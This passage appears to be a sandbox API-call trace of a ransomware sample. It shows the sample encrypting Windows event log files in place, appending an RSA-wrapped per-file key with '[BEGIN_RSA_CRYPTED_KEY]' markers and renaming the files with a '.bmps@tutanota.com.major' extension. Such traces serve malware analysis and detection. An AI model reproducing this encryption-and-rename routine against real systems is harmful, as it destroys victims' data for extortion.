dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0124.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0124.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0124.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0124.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0124.811] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.811] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0124.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0124.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0124.811] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.811] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.812] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.812] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.859] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.859] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.863] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.863] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.863] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.864] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.864] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.865] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0124.865] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="KJYijJuQI0SkG9nQwF/jNiCA50TSnZZnhPNzHhxdlvll55bbzUm25k4qbzT/LKki\nXxYydrZZ8lIDSYeYlXE/9gsWKh5NscrBPm+jmNH0xc5Aq/PZpyb1x2L8mRQppbjm\ntvkSxf0j171zm4CN06ENeVNRjDzgPbochMWazojlhapwH+W7Ktknx9weCZ8UAGKW\n1/cut3PLILcbe0UZULfRdQKK8wYHb637UlFZlVNfrm81K4YBiJMBIY1tVAwp3np2\nGWalysNAxqYtu9Ap+xFcw+cE/rj0WwdX5Dbt9hU0xeqeZBwO6TWcUSXF6tnXtZ1z\nMW+BpYzJNJHfQGBB2ikeVw==\n", pcchString=0x2e3f9a8) returned 1 [0124.865] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.866] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.866] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.866] CloseHandle (hObject=0x460) returned 1 [0124.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0124.868] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0124.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0124.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0124.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0124.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0124.870] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.870] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-MUI%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0124.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0124.889] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0124.889] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.889] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.889] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.889] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.957] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.957] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.959] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.961] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.961] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.961] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.962] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.962] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.963] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0124.963] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="MIMM2iHbheQc3micMfK53Mi/XV98PjodmGyh9nLfgL03PoBxYRY05yt5dcZPDyzS\nd8zn1SmA0v4RgeF9KvnYxxXkd8DP/2urq1EjabU2Te5lgTCGfB4qKC/PUN8rV+Ki\n3JCrqpOmEy0MT6jLrQS8pG76SuP4bLIVpFhuQ0jG3efqQooZFyYCt3fK3uL2cj0e\n0cz/k6LhjlryJtaE72lxlcErQGdv0OCHaJ86R8ER7GsPNxrtiOEirScSi+73AvA4\nKmpFnSplbVAiD7qFd6UxwstCBBhR4smQVb0WuvDBydO3pI839kqD3NLMA3g9ojOC\ngLbFNiLjkkOaMCsQ9IguMg==\n", pcchString=0x2e3f9a8) returned 1 [0124.963] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.963] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.963] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.964] CloseHandle (hObject=0x460) returned 1 [0124.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0124.966] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0124.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0124.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0124.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0124.971] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.971] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-MUI%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0124.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0124.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0124.972] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.972] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.972] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.017] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.017] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0125.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0125.020] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0125.020] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.020] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.021] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.021] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.022] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.022] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="4tqus6n0WcFEFSChHOOcJTl/UaUDO1jD8ZL8G0/8CGSwg2W+G7OpDeZyixf9OvEy\nkH3691ZlY7Jbc1KTCd6vVKvAopVBj6vtwQAluH8eBEu1IVNXclYUC77YaNmEcsVz\n+/Lcfdp+8HWsYrtO4HZTUnk/QJHedGfA2jUkqYh6LlRpxA2fcqz1dviR42KMD2+A\n0ADqSXYeuOIQfcaYz/E37qNE8ZMEweC0wU409uPIqrtX5qnGbo9t1H1ueIhpB5ZQ\nMK4SJCmPXDcwV4ZJoa8vlmyiqPniOM3GtcLpODXzZOyT3AzbGeWsPCAcLJFyo9VO\nf7ocw7/XeO5ShcGfKg06Fg==\n", pcchString=0x2e3f9a8) returned 1 [0125.022] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.022] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.022] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.022] CloseHandle (hObject=0x460) returned 1 [0125.024] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.024] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0125.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0125.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0125.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0125.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b57d8 [0125.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0125.026] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.026] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0125.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b55f8 [0125.026] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0125.026] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55f8 | out: hHeap=0x570000) returned 1 [0125.026] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.027] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0125.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0125.027] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0125.027] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.076] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.076] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.076] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0125.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0125.080] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0125.080] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.080] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.080] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.080] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.082] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.082] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="mZ3HezkTTNMQmfc5qybL/Rou9gLPsKgkYUI0Rtp+CP/Aut0rpO54cfDh2Wwhxp4X\n6w96W8pQg33tC9T/VZmoLmPQisW8FSqm96c4LerSiwnCLR57+1aTYDuMERRlDFma\n86rX4FyPB+max4kooJVOO6t0KcIQSLf3y4goLan1y/tSYTq5o6+C+t8mbqZmWUZO\nVDCAM8bDfan0tV6IGKh2YKIB2UxT+pIxB8i6wOr1xJ0EkylCkmEj/2HsJCKe0n0n\nsICd0u28T8W7M1Lg0/yP32eO9ELCrwif8TE9uv6zG+kggCmRwJC2CdS9l4xRrSj5\nDhhEMg7U55FmWkGTykGGpQ==\n", pcchString=0x2e3f9a8) returned 1 [0125.082] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.082] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.082] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.082] CloseHandle (hObject=0x460) returned 1 [0125.087] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.087] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0125.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0125.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57d8 | out: hHeap=0x570000) returned 1 [0125.089] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5508 | out: hHeap=0x570000) returned 1 [0125.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b57d8 [0125.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0125.089] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.089] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", dwFileAttributes=0x80) returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5940 [0125.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0125.090] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5940 | out: hHeap=0x570000) returned 1 [0125.090] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.090] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0125.093] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0125.093] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.113] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.113] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, 